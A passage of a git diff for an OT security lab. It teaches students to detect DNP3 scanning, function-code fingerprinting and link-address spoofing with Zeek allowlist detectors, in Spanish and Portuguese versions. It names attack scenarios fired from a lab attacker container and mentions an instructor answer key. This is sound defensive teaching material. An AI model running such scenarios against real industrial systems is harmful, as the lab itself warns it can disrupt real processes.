otlab-student con `./OTLab15.sh -run`. Verifica tus dos interfaces y confirma una en cada subred (trae la respuesta del OTLab14). + - *Pista: `{xxxx}` mira al segmento corporativo y `{xxxx}` al segmento OT.* + +- 3️⃣ Confirma que Zeek está instalado dentro de la otlab-student. Anota la versión mostrada — escríbela; importa para los nombres de los eventos que usarás más tarde. + - *Pista: `zeek -v` debe reportar la versión `{x.x.x}` o superior.* + +### Fase 1 — Zeek sobre la baseline limpia + +- 1️⃣ Dentro de la otlab-student, crea un directorio de trabajo para tus capturas (p. ej. `/root/otlab15/` o bajo `/opt/zeek-lab/`). Inicia una captura Zeek en vivo en la interfaz del **lado OT**, deja correr la baseline al menos 60 segundos (todavía sin ataques) y luego detén con Ctrl-C. + - *Pista: `zeek -C -i {xxxx} local` corre Zeek con la política local por defecto.* + +- 2️⃣ Lista los ficheros de log que Zeek produjo. Para cada uno de los tres logs siguientes, sigue el enlace a la documentación oficial de Zeek y escribe una frase describiendo lo que registra. + - [`conn.log`](https://docs.zeek.org/en/master/logs/conn.html) — *¿qué nivel de detalle?* + - [`dnp3.log`](https://docs.zeek.org/en/master/scripts/base/protocols/dnp3/main.zeek.html) — *¿qué campos transporta que el `conn.log` no tiene?* + - [`notice.log`](https://docs.zeek.org/en/master/frameworks/notice.html) — *¿presente? ¿Por qué sí o por qué no en una baseline limpia?* + - *Pista: Zeek usa TSV por defecto. Para una vista amigable a JSON que encadene bien con `jq`, reinicia con `zeek -C LogAscii::use_json=T -i {xxxx} local` (p. ej. `jq -c '{ts, id, service}' < conn.log`).* + +- 3️⃣ Usa `zeek-cut` en el `conn.log` de la baseline para listar cada par único de `id.orig_h` / `id.resp_h` que viste comunicándose en el puerto `20000/tcp`. Compara con los endpoints que documentaste en el OTLab14 — deben coincidir. + - *Pista: `cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u`. Filtra por el servicio `{xxxx_xxx}`.* + +- 4️⃣ Usa `zeek-cut` en el `dnp3.log` de la baseline para listar cada valor único de `fc_request` y `fc_reply`. **Verás más códigos de función de los que mencionaba tu informe del OTLab14** — investiga por qué antes de continuar. + - *Pista: en el estado estacionario, tu OTLab14 documentó `{0xXX RxxD}` y `{0xXX RxxxxxxE}`. Los dos adicionales en la baseline son `{0xXX CxxxxxM}` y `{0xXX UNSOLICITED_xxxxxxxE}` — la outstation publica eventos que el master no consultó, y el master los confirma.* + +- 5️⃣ Registra tus **allowlists de baseline** en una nota corta y luego abre `scripts/zeek/baseline.zeek` y transfiere la nota a las constantes `&redef`. Allowlists vacías hacen que cada detector de la Fase 2 dispare en cada paquete (`!in {}` es siempre verdadero) — rellenarlas es lo que da a la Fase 2 una señal limpia para comparar. (`link_addr_to_ip` se codifica más tarde, en el ciclo 2.3.) + - `expected_endpoints` — *las dos IPs del OTLab14* + - `expected_func_codes` — *los cuatro códigos que acabas de observar.* + +### Fase 2 — El ciclo disparar-detectar + +> [!NOTE] +> Cada ciclo siguiente tiene la misma forma: **(a)** dispara un escenario de ataque desde el host con `./OTLab15.sh -attack `, **(b)** observa el desvío en los logs Zeek en bruto sin tu propio script de detección, **(c)** escribe un detector Zeek que convierta ese desvío en un `Notice`, **(d)** repite el ataque y confirma que tu detector encendió el `notice.log`. Detén la captura Zeek entre iteraciones para que cada ronda produzca un conjunto de logs limpio. +> + + +#### 2.1 Ciclo: `scan` → `unknown-endpoint.zeek` + +- 1️⃣ Desde un **segundo terminal en el host** (no dentro de la otlab-student), dispara `./OTLab15.sh -attack scan` mientras una nueva captura Zeek en vivo corre en la interfaz del lado corporativo de la ews. + +- 2️⃣ Inspecciona el `conn.log` tras el ataque. Encuentra las filas que no existían en la baseline. Documenta el `id.orig_h` divergente, el puerto de destino, los estados de conexión (`conn_state`) y, aproximadamente, cuántos flujos viste. + - *Pista: habrá muchos flujos en estados que significan SYNs que nunca transportaron datos de aplicación.* + +- 3️⃣ Escribe `scripts/zeek/detectors/unknown-endpoint.zeek` que emita un `Notice` cada vez que un `dnp3_application_request_header` o `dnp3_application_response_header` dispare en una conexión donde `orig_h` o `resp_h` esté fuera de tu conjunto `expected_endpoints`. Repite `-attack scan` con tu script cargado (`zeek -i /opt/zeek-lab/local.zeek` tras hacer `@load` a tu detector). Confirma que el `notice.log` muestra tu alerta. + - *Pista: el detector más simple usa los eventos de conexión, no el `conn.log`. Una buena extensión: alertar también sobre conexiones TCP simples a `{xxxxx}/tcp` desde un origen desconocido (atrapa el `scan` incluso antes de que se envíe cualquier PDU DNP3).* + +#### 2.2 Ciclo: `fingerprint` → `unexpected-function-code.zeek` + +- 1️⃣ Dispara `./OTLab15.sh -attack fingerprint`. Inspecciona los nuevos valores de `fc_request` en el `dnp3.log` frente a tu allowlist `expected_func_codes`. + - *Pista: al menos uno de los nuevos códigos de función será `{0xXX DELAY_MEASURE}`. ¿Por qué es inusual que un master mida el retardo de ida y vuelta una vez que el polling en estado estacionario ya se ha asentado?* + +- 2️⃣ Escribe `scripts/zeek/detectors/unexpected-function-code.zeek`. Engancha (*hook*) `dnp3_application_request_header(c, is_orig, application, fc)` para la dirección de petición y `dnp3_application_response_header(c, is_orig, application, fc, iin)` para respuestas. Emite un `Notice` cuando `fc` esté fuera de la allowlist. + +- 3️⃣ Repite `-attack fingerprint`. Anota en tu informe qué sondeos dispararon el detector — y cuáles **no**, y por qué. + +#### 2.3 Ciclo: `spoof` → `link-vs-ip-mismatch.zeek` + +- 1️⃣ Dispara `./OTLab15.sh -attack spoof`. Esto envía un **único** READ a la outstation — casi nada visible en el recuento de filas del `dnp3.log`, pero la señal en la capa de enlace está ahí. + +- 2️⃣ Engancha (*hook*) `dnp3_header_block(c, is_orig, len, ctrl, dest_addr, src_addr)`. Este evento expone las direcciones de origen/destino de la capa de enlace, que el `dnp3.log` no registra. A partir de `c$id$orig_h`/`c$id$resp_h` sabes también la **IP** que emitió la trama. + - *Pista: el mapeo del OTLab14 es `link addr {1} ↔ IP de la outstation` y `link addr {2} ↔ IP del master`. Codifica eso como una `table[count] of addr` en `baseline.zeek`.* + +- 3️⃣ Escribe `scripts/zeek/detectors/link-vs-ip-mismatch.zeek` que contraste la dirección de origen del enlace con la IP esperada para esa dirección de enlace, eligiendo el lado correcto vía `is_orig`. Emite un `Notice` en caso de discrepancia. + +- 4️⃣ Repite `-attack spoof` y confirma que el detector dispara. Como verificación de sanidad, vuelve a disparar `fingerprint` con este detector cargado — **también** dispara, porque usa el origen de enlace del master legítimo desde la IP del atacante. Discute en una frase por qué este solapamiento es deseable, y no un defecto. + +### Fase 3 — Composición y reflexión + +- 1️⃣ Inspecciona `scripts/zeek/local.zeek` — viene precableado para hacer `@load` al `baseline.zeek` más los tres esqueletos de detector. Confirma que `zeek -C -i /opt/zeek-lab/local.zeek` arranca sin errores de script frente a los detectores que implementaste. + - *Pista: los detectores que no tocaste permanecen como esqueletos vacíos — Zeek los carga sin problema, solo que no emiten nada.* + +- 2️⃣ Con la pila completa cargada, ejecuta los tres escenarios en secuencia desde el host: `scan`, `fingerprint`, `spoof` (con una pausa corta entre cada uno). Produce un único `notice.log` y extrae una cronología de qué detector disparó cuándo, para qué escenario, contra qué IP de origen. + - *Pista: `zeek-cut ts note src | sort` basta para esbozar la cronología.* + +- 3️⃣ Escribe un **resumen de incidente de una página** estructurado como: (a) los escenarios de ataque que ejecutaste, en lenguaje llano, (b) los IOCs que pondrías en una regla de SIEM para cada uno, (c) qué hecho de la baseline del OTLab14 consumió cada detector, (d) qué tendría que hacer un atacante para evadir tu pila y permanecer bajo cada allowlist. **Este documento es la entrada para el OTLab16.** + +- 4️⃣ Párrafo de reflexión: en tu informe, argumenta brevemente por qué la detección conductual basada en allowlists es adecuada para entornos OT — y dónde fallaría en entornos IT. Refiere el tamaño real del vocabulario, la estabilidad de la baseline y la previsibilidad que observaste. + +## 🎯 Competencias + +**Prácticas:** Monitorización de Seguridad de Red (Zeek) · Detección Conductual / por Allowlist · Análisis de Logs DNP3 · Ingeniería de Detección + +**Detectando técnicas del [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/):** + +[![T0846 Remote System Discovery](https://img.shields.io/badge/ATT%26CK_ICS-T0846_Remote_System_Discovery-red)](https://attack.mitre.org/techniques/T0846/) +[![T0888 Remote System Information Discovery](https://img.shields.io/badge/ATT%26CK_ICS-T0888_Remote_System_Information_Discovery-red)](https://attack.mitre.org/techniques/T0888/) +[![T0855 Unauthorized Command Message](https://img.shields.io/badge/ATT%26CK_ICS-T0855_Unauthorized_Command_Message-red)](https://attack.mitre.org/techniques/T0855/) + +## 🔖 Nomenclatura + +- DNP3: Distributed Network Protocol version 3 — protocolo SCADA ampliamente usado en servicios eléctricos, de agua y de petróleo y gas. +- EWS: Estación de trabajo de ingeniería (*engineering workstation*) — el host operado por ingenieros de control para configurar, programar y monitorizar dispositivos de campo. +- ICS: Sistema de control industrial (*industrial control system*). +- IOC: Indicador de compromiso (*indicator of compromise*) — un artefacto observable de red o host que sugiere una intrusión. +- IP: Protocolo de Internet (*internet protocol*). +- NSM: Monitorización de seguridad de red (*network security monitoring*) — observación pasiva del tráfico con fines forenses y de detección; Zeek es una herramienta NSM. +- OT: Tecnología operativa (*operational technology*). +- PDU: Protocol data unit — un "mensaje" en una capa dada del protocolo (p. ej. un fragmento de aplicación DNP3). +- PLC: Controlador lógico programable (*programmable logic controller*). +- RTU: Unidad terminal remota (*remote terminal unit*) — el papel de dispositivo de campo que normalmente desempeña una outstation DNP3. +- SCADA: Supervisión, control y adquisición de datos (*supervisory control and data acquisition*). +- TCP: Protocolo de control de transmisión (*transmission control protocol*). +- Zeek: Plataforma NSM de código abierto (anteriormente Bro). Analiza protocolos en logs estructurados y expone un lenguaje de scripting para detección. + +## 🛠️ Uso + +``` +Usage: ./OTLab15.sh -start [kali|ubuntu] | -stop | -clean | -run | -restart | -status | -attack + + -start Inicia el entorno DNP3_Zeek usando la distro indicada (por defecto: ubuntu) + Opciones válidas: kali (rolling) o ubuntu (22.04) + -run Abre un terminal dentro del contenedor otlab-student + -clean Elimina contenedores, volúmenes y la red (mantiene ./scripts/attacks y ./scripts/zeek del lado del host) + -stop Detiene todos los contenedores + -restart Reinicia contenedores previamente detenidos + -status Muestra el estado actual de los contenedores + -attack Dispara un escenario de ataque controlado desde el dnp3-attacker + Escenarios válidos: scan fingerprint spoof +``` + +> [!NOTE] +> Cuando se ejecuta en **WSL2**, el script detecta automáticamente el entorno y aplica las reglas a nivel de kernel (`bridge-nf-call-iptables=0` y dos reglas `DOCKER-USER` ACCEPT) necesarias para que el tráfico se enrute entre los dos *bridges* de Docker. Estas reglas requieren `sudo` y se revierten con `-clean`. En Linux nativo y en Docker Desktop de macOS las reglas se omiten — los valores por defecto de Docker ya permiten el reenvío entre *bridges*. + +## Soluciones + +`scripts/zeek/` trae aquello en lo que trabaja el estudiante: `baseline.zeek` con allowlists vacías para rellenar a partir del OTLab14, y tres esqueletos de detector (comentario de cabecera + firma de evento comentada, cuerpo vacío). `local.zeek` viene precableado para hacer `@load` a todos ellos, por lo que un esqueleto intacto carga sin problema y simplemente no emite nada. + +Las respuestas de referencia resueltas para todas las tareas viven en `scripts/solutions/` — un `baseline.zeek` relleno y los tres detectores implementados. Es la clave del instructor y **no** se monta en la EWS (allí, `/opt/zeek-lab` es `scripts/zeek/`); consulta `scripts/solutions/README.md` para copiarla allí y verificar. diff --git a/OTLab15/OTLab15.md b/OTLab15/OTLab15.md index 53168e6..e3013f9 100644 --- a/OTLab15/OTLab15.md +++ b/OTLab15/OTLab15.md @@ -1,4 +1,13 @@ -# OTLab15 — DNP3 + Zeek Detection Lab +--- +title: "Lab 15 - Emulação do protocolo DNP3 e deteção com Zeek" +description: "Traduzir a baseline do OTLab14 em allowlists Zeek e construir detetores comportamentais para tráfego DNP3 malicioso numa rede OT." +categories: ["Laboratórios"] +difficulty: "Avançado" +tags: ["OT", "ICS", "DNP3", "Zeek", "NSM", "Deteção de Ameaças", "Engenharia de Deteção", "SCADA", "Deteção Comportamental", "Allowlisting"] +estimated_time: "90 min" +level: 4 +area: "detection" +--- ![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "OTLab15 — DNP3 + Zeek Detection Lab") @@ -14,163 +23,155 @@ [![LinkedIn Farias Rafael](https://img.shields.io/badge/LinkedIn-Farias_Rafael-blue)](https://www.linkedin.com/in/farias-rafael/) [![IPLeiria ESTG-DEI](https://img.shields.io/badge/IPLeiria-ESTG--DEI-green)](https://www.ipleiria.pt/estg-dei/) -## Scenario +## Cenário -The same small utility from OTLab14 is now worried. After your Wireshark write-up showed that DNP3 carries no authentication, no encryption, and a stable, predictable conversation pattern, the company asks the obvious follow-up: **if anything unusual happened on this wire, would we even notice?** +A mesma pequena empresa de eletricidade do OTLab14 está agora preocupada. Depois de o teu relatório no Wireshark ter mostrado que o DNP3 não transporta autenticação, nem cifra, e que tem um padrão de conversa estável e previsível, a empresa coloca a pergunta óbvia: **se algo de invulgar acontecesse neste fio, dar-nos-íamos sequer conta?** -The question is not academic. Last Tuesday, **Maria from the Finance department** picked up a USB stick she found in the visitor parking lot and — meaning no harm — plugged it into her workstation to see who it belonged to. The malware on it phoned home and parked itself on her PC. From there it has a clean line of sight to the corporate segment, and this segment shares a host with the OT engineering workstation. Nobody noticed. +A pergunta não é académica. Na terça-feira passada, a **Maria, do departamento Financeiro**, apanhou uma pen USB que encontrou no parque de estacionamento de visitantes e — sem qualquer má intenção — ligou-a à sua estação de trabalho para ver de quem era. O malware nela existente comunicou para o exterior e instalou-se no PC dela. A partir daí tem linha de vista limpa para o segmento corporativo, e este segmento partilha um host com a estação de trabalho de engenharia OT. Ninguém reparou. -You — still at the **(`otlab-student`)** dual-homed between OT and corporate — will introduce **Zeek**, a network security monitoring tool, into the same topology. Your job is *not* to write signature rules for known attacks. It is to translate the **baseline you documented in OTLab14** into a small set of allowlists, let Zeek tell you whenever the wire deviates from that baseline, and learn — by trying them — what kinds of OT-adversary behaviour those deviations actually look like. +Tu — ainda na **(`otlab-student`)**, com uma interface em OT e outra em corporativo — vais introduzir o **Zeek**, uma ferramenta de monitorização de segurança de rede, na mesma topologia. A tua tarefa *não* é escrever regras de assinatura para ataques conhecidos. É traduzir a **baseline que documentaste no OTLab14** num pequeno conjunto de allowlists, deixar o Zeek avisar-te sempre que o fio se desvie dessa baseline e aprender — experimentando-os — que tipos de comportamento de adversário OT esses desvios realmente representam. -From the compromised host you will fire controlled attack scenarios 'for' actor; and from inside the otlab-student you will catch them with Zeek scripts you write yourself. +A partir do host comprometido vais disparar cenários de ataque controlados (no papel do agente de ameaça); e de dentro da otlab-student vais apanhá-los com scripts Zeek que escreves tu próprio. > [!NOTE] -> **OTLab14 deliverable is the input here.** Keep your OTLab14 findings open: the expected endpoints, function codes, and link-layer addresses you documented there are exactly what you will encode as Zeek allowlists. +> **O entregável do OTLab14 é a entrada aqui.** Mantém as tuas conclusões do OTLab14 abertas: os endpoints esperados, os códigos de função e os endereços da camada de ligação que aí documentaste são exatamente o que vais codificar como allowlists Zeek. > [!NOTE] -> Refer to `DNP3WiresharkReference.md` for DNP3 frame layout and function-code tables as before. For Zeek-specific events, log fields, and `zeek-cut` recipes, see the companion `DNP3LabZeekReference.md` in this lab's directory. +> Consulta o `DNP3WiresharkReference.md` para a estrutura da trama DNP3 e as tabelas de códigos de função, como antes. Para eventos específicos do Zeek, campos de log e receitas `zeek-cut`, vê o `DNP3LabZeekReference.md` que acompanha este laboratório, na sua diretoria. -## 📝 Tasks +## 📝 Tarefas > [!WARNING] -> All tasks are conducted inside the lab containers. **Do not run any attack scenario, scanner, or capture against hosts outside this lab.** The attack scripts under `scripts/attacks/` emit real, valid DNP3 PDUs; pointed at production gear they can disrupt real industrial processes. +> Todas as tarefas são realizadas dentro dos contentores do laboratório. **Não executes nenhum cenário de ataque, scanner ou captura contra hosts fora deste laboratório.** Os scripts de ataque em `scripts/attacks/` emitem PDUs DNP3 reais e válidas; apontados a equipamento de produção, podem perturbar processos industriais reais. -### Phase 0 — Orientation +### Fase 0 — Orientação -- [ ] Bring the lab up with `./OTLab15.sh -start` and confirm all **four** containers are running with `./OTLab15.sh -status`. Identify which container plays each role. - - *Hint: outstation, master, otlab-student, and the new role unique to OTLab15 — {xxxxxxxx}.* +- 1️⃣ Levanta o laboratório com `./OTLab15.sh -start` e confirma que os **quatro** contentores estão a correr com `./OTLab15.sh -status`. Identifica que papel desempenha cada contentor. + - *Pista: outstation, master, otlab-student e o novo papel exclusivo do OTLab15 — {xxxxxxxx}.* -- [ ] Open a shell in the otlab-student with `./OTLab15.sh -run`. Verify your two interfaces and confirm one foot in each subnet (carry the answer from OTLab14). - - *Hint: `{xxxx}` faces the corporate segment and `{xxxx}` faces the OT segment.* +- 2️⃣ Abre uma shell na otlab-student com `./OTLab15.sh -run`. Verifica as tuas duas interfaces e confirma uma em cada sub-rede (traz a resposta do OTLab14). + - *Pista: `{xxxx}` está virada para o segmento corporativo e `{xxxx}` para o segmento OT.* -- [ ] Confirm Zeek is installed inside the otlab-student. Note the version printed — write it down; it matters for the event names you will use later. - - *Hint: `zeek -v` should report version `{x.x.x}` or newer.* +- 3️⃣ Confirma que o Zeek está instalado dentro da otlab-student. Anota a versão apresentada — escreve-a; importa para os nomes dos eventos que usarás mais tarde. + - *Pista: `zeek -v` deve reportar a versão `{x.x.x}` ou superior.* -### Phase 1 — Zeek on the clean baseline +### Fase 1 — Zeek sobre a baseline limpa -- [ ] Inside the otlab-student, create a working directory for your captures (e.g. `/root/otlab15/` or under `/opt/zeek-lab/`). Start a Zeek live capture on the **OT-side** interface, let the baseline run for at least 60 seconds (no attacks yet), then stop with Ctrl-C. - - *Hint: `zeek -C -i {xxxx} local` runs Zeek with the default local policy.* +- 1️⃣ Dentro da otlab-student, cria uma diretoria de trabalho para as tuas capturas (ex.: `/root/otlab15/` ou sob `/opt/zeek-lab/`). Inicia uma captura Zeek ao vivo na interface do **lado OT**, deixa a baseline correr pelo menos 60 segundos (ainda sem ataques) e depois para com Ctrl-C. + - *Pista: `zeek -C -i {xxxx} local` corre o Zeek com a política local predefinida.* -- [ ] List the log files Zeek produced. For each of the three logs below, follow the link to the official Zeek docs and write one sentence describing what it records. - - [`conn.log`](https://docs.zeek.org/en/master/logs/conn.html) — *what level of detail?* - - [`dnp3.log`](https://docs.zeek.org/en/master/scripts/base/protocols/dnp3/main.zeek.html) — *what fields does it carry that `conn.log` does not?* - - [`notice.log`](https://docs.zeek.org/en/master/frameworks/notice.html) — *present? Why or why not on a clean baseline?* - - *Hint: Zeek defaults to TSV. For a JSON-friendly view that pipes cleanly into `jq`, restart with `zeek -C LogAscii::use_json=T -i {xxxx} local` (e.g. `jq -c '{ts, id, service}' < conn.log`).* +- 2️⃣ Lista os ficheiros de log que o Zeek produziu. Para cada um dos três logs abaixo, segue a ligação para a documentação oficial do Zeek e escreve uma frase a descrever o que regista. + - [`conn.log`](https://docs.zeek.org/en/master/logs/conn.html) — *que nível de detalhe?* + - [`dnp3.log`](https://docs.zeek.org/en/master/scripts/base/protocols/dnp3/main.zeek.html) — *que campos transporta que o `conn.log` não tem?* + - [`notice.log`](https://docs.zeek.org/en/master/frameworks/notice.html) — *presente? Porquê ou porque não numa baseline limpa?* + - *Pista: o Zeek usa TSV por omissão. Para uma vista amigável a JSON que encadeie bem com o `jq`, reinicia com `zeek -C LogAscii::use_json=T -i {xxxx} local` (ex.: `jq -c '{ts, id, service}' < conn.log`).* -- [ ] Use `zeek-cut` on the baseline `conn.log` to list every unique pair of `id.orig_h` / `id.resp_h` you saw talking on port `20000/tcp`. Compare against the endpoints you documented in OTLab14 — they must match. - - *Hint: `cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u`. Filter for service `{xxxx_xxx}`.* +- 3️⃣ Usa o `zeek-cut` no `conn.log` da baseline para listar cada par único de `id.orig_h` / `id.resp_h` que viste a comunicar na porta `20000/tcp`. Compara com os endpoints que documentaste no OTLab14 — têm de corresponder. + - *Pista: `cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u`. Filtra pelo serviço `{xxxx_xxx}`.* -- [ ] Use `zeek-cut` on the baseline `dnp3.log` to list every unique value of `fc_request` and `fc_reply`. **You will see more function codes than your OTLab14 write-up mentioned** — investigate why before continuing. - - *Hint: in the steady state your OTLab14 documented `{0xXX RxxD}` and `{0xXX RxxxxxxE}`. The two extra ones in the baseline are `{0xXX CxxxxxM}` and `{0xXX UNSOLICITED_xxxxxxxE}` — the outstation publishes events the master did not poll for, and the master acknowledges them.* +- 4️⃣ Usa o `zeek-cut` no `dnp3.log` da baseline para listar cada valor único de `fc_request` e `fc_reply`. **Vais ver mais códigos de função do que o teu relatório do OTLab14 mencionava** — investiga porquê antes de continuar. + - *Pista: no estado estacionário, o teu OTLab14 documentou `{0xXX RxxD}` e `{0xXX RxxxxxxE}`. Os dois extra na baseline são `{0xXX CxxxxxM}` e `{0xXX UNSOLICITED_xxxxxxxE}` — a outstation publica eventos que o master não consultou, e o master confirma-os.* -- [ ] Record your **baseline allowlists** as a short note, then open `scripts/zeek/baseline.zeek` and transfer the note into the `&redef` constants. Empty allowlists make every detector in Phase 2 fire on every packet (`!in {}` is always true) — filling them in is what gives Phase 2 a clean signal to compare against. (`link_addr_to_ip` is encoded later, in cycle 2.3.) - - `expected_endpoints` — *the two IPs from OTLab14* - - `expected_func_codes` — *the four codes you just observed.* +- 5️⃣ Regista as tuas **allowlists de baseline** numa nota curta e depois abre `scripts/zeek/baseline.zeek` e transfere a nota para as constantes `&redef`. Allowlists vazias fazem com que todos os detetores da Fase 2 disparem em todos os pacotes (`!in {}` é sempre verdadeiro) — preenchê-las é o que dá à Fase 2 um sinal limpo para comparar. (`link_addr_to_ip` é codificada mais tarde, no ciclo 2.3.) + - `expected_endpoints` — *os dois IPs do OTLab14* + - `expected_func_codes` — *os quatro códigos que acabaste de observar.* -### Phase 2 — The fire-detect cycle +### Fase 2 — O ciclo disparar-detetar > [!NOTE] -> Every cycle below shares the same shape: **(a)** fire an attack scenario from the host with `./OTLab15.sh -attack `, **(b)** observe the deviation in raw Zeek logs without your own detection script, **(c)** write a Zeek detector that turns that deviation into a `Notice`, **(d)** replay the attack and verify your detector lit up `notice.log`. Stop the Zeek capture between iterations so each round produces a clean log set. +> Cada ciclo abaixo segue a mesma forma: **(a)** dispara um cenário de ataque a partir do host com `./OTLab15.sh -attack `, **(b)** observa o desvio nos logs Zeek em bruto sem o teu próprio script de deteção, **(c)** escreve um detetor Zeek que transforma esse desvio num `Notice`, **(d)** repete o ataque e confirma que o teu detetor acendeu o `notice.log`. Para a captura Zeek entre iterações para que cada ronda produza um conjunto de logs limpo. > -#### 2.1 Cycle: `scan` → `unknown-endpoint.zeek` +#### 2.1 Ciclo: `scan` → `unknown-endpoint.zeek` -- [ ] From a **second terminal on the host** (not inside the otlab-student), fire `./OTLab15.sh -attack scan` while a fresh Zeek live capture is running on the corp-side interface of the ews. +- 1️⃣ A partir de um **segundo terminal no host** (não dentro da otlab-student), dispara `./OTLab15.sh -attack scan` enquanto uma nova captura Zeek ao vivo corre na interface do lado corporativo da ews. -- [ ] Inspect `conn.log` after the attack. Find the rows that did not exist in the baseline. Document the deviating `id.orig_h`, the destination port, the connection states (`conn_state`), and roughly how many flows you saw. - - *Hint: there will be many flows in states meaning SYNs that never carried application data.* +- 2️⃣ Inspeciona o `conn.log` após o ataque. Encontra as linhas que não existiam na baseline. Documenta o `id.orig_h` divergente, a porta de destino, os estados de conexão (`conn_state`) e, aproximadamente, quantos fluxos viste. + - *Pista: haverá muitos fluxos em estados que significam SYNs que nunca transportaram dados de aplicação.* -- [ ] Write `scripts/zeek/detectors/unknown-endpoint.zeek` that emits a `Notice` whenever a `dnp3_application_request_header` or `dnp3_application_response_header` fires on a connection where `orig_h` or `resp_h` is outside your `expected_endpoints` set. Replay `-attack scan` with your script loaded (`zeek -i /opt/zeek-lab/local.zeek` after `@load`-ing your detector). Confirm `notice.log` shows your alert. - - *Hint: the simplest detector uses the connection events, not `conn.log`. A nice extension: also alert on plain TCP connections to `{xxxxx}/tcp` from an unknown source (catches `scan` even before any DNP3 PDU is sent).* +- 3️⃣ Escreve `scripts/zeek/detectors/unknown-endpoint.zeek` que emite um `Notice` sempre que um `dnp3_application_request_header` ou `dnp3_application_response_header` dispara numa conexão em que `orig_h` ou `resp_h` está fora do teu conjunto `expected_endpoints`. Repete `-attack scan` com o teu script carregado (`zeek -i /opt/zeek-lab/local.zeek` depois de fazer `@load` ao teu detetor). Confirma que o `notice.log` mostra o teu alerta. + - *Pista: o detetor mais simples usa os eventos de conexão, não o `conn.log`. Uma boa extensão: alertar também sobre conexões TCP simples para `{xxxxx}/tcp` a partir de uma origem desconhecida (apanha o `scan` mesmo antes de qualquer PDU DNP3 ser enviada).* -#### 2.2 Cycle: `fingerprint` → `unexpected-function-code.zeek` +#### 2.2 Ciclo: `fingerprint` → `unexpected-function-code.zeek` -- [ ] Fire `./OTLab15.sh -attack fingerprint`. Inspect the new `fc_request` values in `dnp3.log` against your `expected_func_codes` allowlist. - - *Hint: at least one of the new function codes will be `{0xXX DELAY_MEASURE}`. Why is a master measuring round-trip delay unusual once steady-state polling has settled?* +- 1️⃣ Dispara `./OTLab15.sh -attack fingerprint`. Inspeciona os novos valores de `fc_request` no `dnp3.log` face à tua allowlist `expected_func_codes`. + - *Pista: pelo menos um dos novos códigos de função será `{0xXX DELAY_MEASURE}`. Porque é invulgar um master medir o atraso de ida-e-volta depois de o polling em estado estacionário já ter estabilizado?* -- [ ] Write `scripts/zeek/detectors/unexpected-function-code.zeek`. Hook `dnp3_application_request_header(c, is_orig, application, fc)` for the request direction and `dnp3_application_response_header(c, is_orig, application, fc, iin)` for responses. Emit a `Notice` when `fc` is outside the allowlist. +- 2️⃣ Escreve `scripts/zeek/detectors/unexpected-function-code.zeek`. Liga (*hook*) `dnp3_application_request_header(c, is_orig, application, fc)` para a direção de pedido e `dnp3_application_response_header(c, is_orig, application, fc, iin)` para respostas. Emite um `Notice` quando `fc` está fora da allowlist. -- [ ] Replay `-attack fingerprint`. Note in your write-up which probes fired the detector — and which did **not**, and why. +- 3️⃣ Repete `-attack fingerprint`. Anota no teu relatório que sondagens dispararam o detetor — e quais **não** dispararam, e porquê. -#### 2.3 Cycle: `spoof` → `link-vs-ip-mismatch.zeek` +#### 2.3 Ciclo: `spoof` → `link-vs-ip-mismatch.zeek` -- [ ] Fire `./OTLab15.sh -attack spoof`. This sends a **single** READ to the outstation — almost nothing visible in `dnp3.log` row count, but the link-layer telltale is there. +- 1️⃣ Dispara `./OTLab15.sh -attack spoof`. Isto envia um **único** READ à outstation — quase nada visível na contagem de linhas do `dnp3.log`, mas o indício na camada de ligação está lá. -- [ ] Hook `dnp3_header_block(c, is_orig, len, ctrl, dest_addr, src_addr)`. This event surfaces the link-layer source/destination addresses, which `dnp3.log` does not record. From `c$id$orig_h`/`c$id$resp_h` you also know the **IP** that emitted the frame. - - *Hint: the OTLab14 mapping is `link addr {1} ↔ outstation IP` and `link addr {2} ↔ master IP`. Encode that as a `table[count] of addr` in `baseline.zeek`.* +- 2️⃣ Liga (*hook*) `dnp3_header_block(c, is_orig, len, ctrl, dest_addr, src_addr)`. Este evento expõe os endereços de origem/destino da camada de ligação, que o `dnp3.log` não regista. A partir de `c$id$orig_h`/`c$id$resp_h` sabes também o **IP** que emitiu a trama. + - *Pista: o mapeamento do OTLab14 é `link addr {1} ↔ IP da outstation` e `link addr {2} ↔ IP do master`. Codifica isso como uma `table[count] of addr` em `baseline.zeek`.* -- [ ] Write `scripts/zeek/detectors/link-vs-ip-mismatch.zeek` that cross-checks the link source address against the expected IP for that link address, picking the right side via `is_orig`. Emit a `Notice` on mismatch. +- 3️⃣ Escreve `scripts/zeek/detectors/link-vs-ip-mismatch.zeek` que cruza o endereço de origem da ligação contra o IP esperado para esse endereço de ligação, escolhendo o lado certo via `is_orig`. Emite um `Notice` em caso de incompatibilidade. -- [ ] Replay `-attack spoof` and confirm the detector fires. As a sanity check, re-fire `fingerprint` with this detector loaded — it **also** trips it, because it uses the legitimate master's link source from the attacker's IP. Discuss in one sentence why this overlap is desirable, not a flaw. +- 4️⃣ Repete `-attack spoof` e confirma que o detetor dispara. Como verificação de sanidade, volta a disparar `fingerprint` com este detetor carregado — ele **também** dispara, porque usa a origem de ligação do master legítimo a partir do IP do atacante. Discute numa frase porque esta sobreposição é desejável, e não um defeito. -### Phase 3 — Composition and reflection +### Fase 3 — Composição e reflexão -- [ ] Inspect `scripts/zeek/local.zeek` — it ships pre-wired to `@load` `baseline.zeek` plus all three detector skeletons. Confirm `zeek -C -i /opt/zeek-lab/local.zeek` starts cleanly with no script errors against the detectors you have implemented. - - *Hint: detectors you did not touch stay as empty skeletons — Zeek loads them fine, they just don't emit anything.* +- 1️⃣ Inspeciona `scripts/zeek/local.zeek` — vem pré-ligado para fazer `@load` ao `baseline.zeek` mais os três esqueletos de detetor. Confirma que `zeek -C -i /opt/zeek-lab/local.zeek` arranca sem erros de script face aos detetores que implementaste. + - *Pista: os detetores em que não tocaste permanecem esqueletos vazios — o Zeek carrega-os sem problema, só não emitem nada.* -- [ ] With the full stack loaded, run the three scenarios back-to-back from the host: `scan`, `fingerprint`, `spoof` (with a short pause between each). Produce a single `notice.log` and extract a timeline of which detector fired when, for which scenario, against which source IP. - - *Hint: `zeek-cut ts note src | sort` is enough to draft the timeline.* +- 2️⃣ Com a stack completa carregada, corre os três cenários em sequência a partir do host: `scan`, `fingerprint`, `spoof` (com uma pausa curta entre cada). Produz um único `notice.log` e extrai uma cronologia de que detetor disparou quando, para que cenário, contra que IP de origem. + - *Pista: `zeek-cut ts note src | 